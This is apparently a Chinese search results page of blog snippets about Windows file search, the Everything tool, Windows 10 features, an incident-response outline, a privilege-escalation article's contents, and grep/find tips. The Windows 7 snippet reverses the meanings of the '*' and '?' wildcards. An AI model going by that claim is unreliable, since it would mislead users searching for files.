  • 最近公司的一个项目要在windows下实现MD5的函数功能,所以查阅了一些资料,实现了这个功能。因为其中一些代码源自网上,所以我将完整实现发布,希望对有需要的人有帮助 #include "windows.h" #include #include ...
  • Everything快速查找文件

    2016-11-29 10:51:29
    Everything利用关键字可以快速查找电脑中的文件,比windows自带查找功能强大太多,可以过滤及高亮显示关键字
  • Windows 10新功能

    千次阅读 2015-08-31 19:34:03
    Windows 10 中面向开发人员的新增功能 Windows 10 及新增的开发人员工具将提供新通用 Windows 平台支持的工具、功能和体验。在 Windows 10 上安装完工具和 SDK 后,你可以随时创建新的通用 ...
  • 文章目录一、系统排查1、系统信息2、​​用户信息3、启动项4、计划任务5、服务自启动二、进程、端口排查1、进程排查2、端口排查三、文件痕迹排查1、敏感目录文件2、基于时间点查找四、日志分析1、系统日志2、安全性...
  • 查找/替换对话框的使用

    千次阅读 2020-04-29 08:31:07
    注:在Windows通用对话框中,查找/替换对话框比较特殊,是一个非模态对话框。查找/替换对话框本身没有查找/替换功能,它只是为我们提供了一个接收用户要求的接口,使我们知道了何种查找/替换的要求,真正的查找/替换...
  • 其实,随着 Windows 10 系统更新,时常被忽略的原生搜索功能也得到了逐步完善,不逊色于第三方工具。在本文中,我将为大家介绍一些 Windows 10 原生搜索功能的技巧,将它打造为快速启动利器。可能是最快的唤醒...
  • Windows 7操作系统

    千次阅读 2021-10-24 11:03:03
    查找文件或文件夹 通配符“*”和“?” *:(表示一个字符) ; ?:(表示多个字符); 简答:Win7默认不显示文件扩展名,怎样显示? 工具菜单→文件选项命令→文件选项对话框→切换到查看选项卡→勾掉隐藏已知文件类型的...
  • Windows 提权

    千次阅读 2022-01-17 20:04:55
    Windows 提权 文章目录Windows 提权1.系统内核溢出漏洞提权2.系统配置错误提权2.1 错误权限配置2.2 计划任务提权:2.3 可信任服务...利用系统本身存在的一些系统内核溢出漏洞,未打相应的补丁,攻击者通过对比systemi
  • 我们平时都会有这种经历,曾经在windows电脑上放了一个文件但是忘记放哪了,怎么也找不到,使用Windows自带的搜索功能去搜索文件简直奇慢无比,根本不能忍受。今天我们来说下怎么解决这种问题,以及怎么快速有效的...
  • linux查找文件或字符串的命令

    千次阅读 2021-05-16 17:31:05
    grep和find功能都是相当的强大,这里也只是介绍这两个命令的九牛一毛而已。2. grep的简单小应用?(1)如果在给定的文件中搜索某个字符串,直接grep “main” ./main.c即可;(2)如果你要搜索某个特定的字符串,而不...
  • Windows API函数大全(Windows编程参考手册)

    千次阅读 多人点赞 2020-12-10 15:50:58
    Windows API包括几千个可调用的函数,它们大致可以分为以下几个大类:基本服务、组件服务、用户界面服务、图形多媒体服务、消息和协作、网络、Web服务。

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 148,903
精华内容 59,561
热门标签
关键字:

利用windows的查找功能